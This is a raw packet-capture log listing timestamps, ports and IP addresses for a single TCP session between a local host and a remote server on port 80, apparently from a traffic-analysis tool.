Oct 24, 2024 02:50:13.613152981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613166094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613204956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613410950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613426924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613444090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613449097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613471031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613477945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645523071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645574093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645610094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645612955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645639896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645663023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645670891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645704985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645711899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645740032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645745993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645781994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645796061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645831108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.645839930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645872116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.645951986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646004915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646030903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646061897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646073103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646109104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646114111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646148920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646159887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646183968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646188974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646225929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646449089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646482944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646502972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646517038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646521091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646553040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646642923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646693945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646866083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646895885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646919012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646929026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.646938086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.646971941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.685554981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.685612917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.685643911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.685674906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.685674906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.685681105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.685698032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.685723066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.685992002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686024904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686045885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686058044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686065912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686094046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686104059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686146021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686147928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686182976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686196089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686216116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686228991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686255932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686269045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686304092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686685085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686718941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686737061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686753988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686764002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686788082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.686801910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.686836004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.687041998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.687072039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.687096119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.687114000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.726346016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.726368904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.726386070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.726403952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.726521969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.726521969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.726521969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729589939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729612112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729629993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729646921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729659081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729680061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729796886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729814053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729831934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729845047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729861021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729882002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.729948044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729964972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729980946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.729995012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.730016947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.730197906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.730226040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.730242968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.730243921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.730288029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.730288029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762450933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762526035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762543917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762563944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762567043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762598038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762607098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762633085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762639046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762670994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.762677908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.762720108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763055086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763091087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763109922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763127089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763132095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763165951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763180971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763216019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763226032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763250113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763261080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763283968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763292074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763325930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763335943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763380051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763645887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763680935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763701916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763715982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763725996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763756990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763930082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763964891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.763984919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.763998985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.764003038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.764034986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.764048100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.764077902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802557945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802608967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802648067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802663088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802689075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802695036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802728891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802767038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802789927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802798033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802809000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802834988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802843094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802869081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802877903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802902937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.802916050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.802944899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803148031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803195953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803204060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803246975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803257942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803282022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803287983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803328037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803572893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803602934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.803626060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.803647995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.843238115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.843261957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.843281031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.843419075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.843419075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.846997976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847050905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847062111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847094059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847121000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847167969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847174883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847209930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847217083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847243071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847254992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847279072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847285032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847335100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847354889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847388983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847403049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847421885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847428083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847455978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847462893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847491026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847497940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847532034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.847534895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.847583055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879514933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879564047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879601955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879636049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879669905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879709005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879725933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879725933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879725933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879725933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879764080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879764080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.879956007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.879991055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880009890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880028009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880033970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880069971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880114079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880147934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880160093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880182981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880198002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880223036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880387068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880420923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880435944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880455971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880462885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880498886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880579948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880635977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880639076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880683899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880690098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880724907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880733013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880759954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.880768061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.880801916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921209097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921231985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921250105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921304941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921322107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921338081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921394110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921394110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921394110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921394110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921610117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921634912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921648026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921653032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921660900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921669960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921684980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921684980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921689034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921721935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921741962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921899080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921914101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921930075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921946049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921952963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921962023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921977997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.921977997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921993971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.921999931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.922020912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.922044039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.960530043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.960582018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.960621119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.960639954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.960668087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.960668087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963120937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963184118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963224888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963255882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963347912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963372946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963372946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963385105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963419914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963419914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963454962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963457108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963457108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963490963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963498116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963535070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963892937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963927984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963943005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.963965893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.963969946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.964006901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.964009047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.964040041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.964049101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.964075089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.964085102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.964116096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.996469021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.996540070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.996577024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.996582031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.996611118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.996612072 CEST	80	49704	185.215.113.37	192.168.2.5
